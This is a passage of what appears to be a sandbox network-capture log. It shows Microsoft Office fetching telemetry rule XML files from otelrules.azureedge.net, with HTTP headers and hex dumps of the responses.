E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:19 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:19 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:19 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071819Z-16849878b78hh85qc40uyr8sc800000005300000000002n2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:19 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:19 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:19 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:19 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 6768b437-a01e-00ab-174d-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071819Z-16849878b78wc6ln1zsrz6q9w800000004b0000000009x5f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:19 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:19 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:19 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:19 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071819Z-16849878b787bfsh7zgp804my400000003hg0000000035vq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:19 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:19 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:19 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:19 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071819Z-16849878b78km6fmmkbenhx76n00000003yg00000000e9zg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:19 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:19 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:20 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:19 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071819Z-16849878b78xblwksrnkakc08w000000041g000000000wnq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:20 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:19 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:20 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:19 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a1443afe-101e-00a2-13ee-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071819Z-15b8d89586fvpb597drk06r8fc00000005q0000000007uvk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:20 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:20 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:20 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:20 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071820Z-15b8d89586f4zwgbgswvrvz4vs00000005z0000000002hcz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:20 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:20 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:20 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:20 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 0151f49e-401e-0048-33f6-270409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071820Z-r197bdfb6b47gqdjqh2kwsuz8c0000000510000000009aqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:20 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:20 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:20 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:20 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: e6296ddc-301e-0052-0828-2665d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071820Z-r197bdfb6b47gqdjqh2kwsuz8c0000000550000000002xbx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:20 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:20 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:20 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:20 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 6795109f-a01e-00ab-085e-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071820Z-r197bdfb6b47gqdjqh2kwsuz8c000000050000000000bhuz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:20 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:20 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:20 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:20 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071820Z-16849878b786fl7gm2qg4r5y7000000004zg0000000075ev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:20 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:21 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:21 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:21 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071821Z-16849878b78zqkvcwgr6h55x9n000000043g000000009qap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
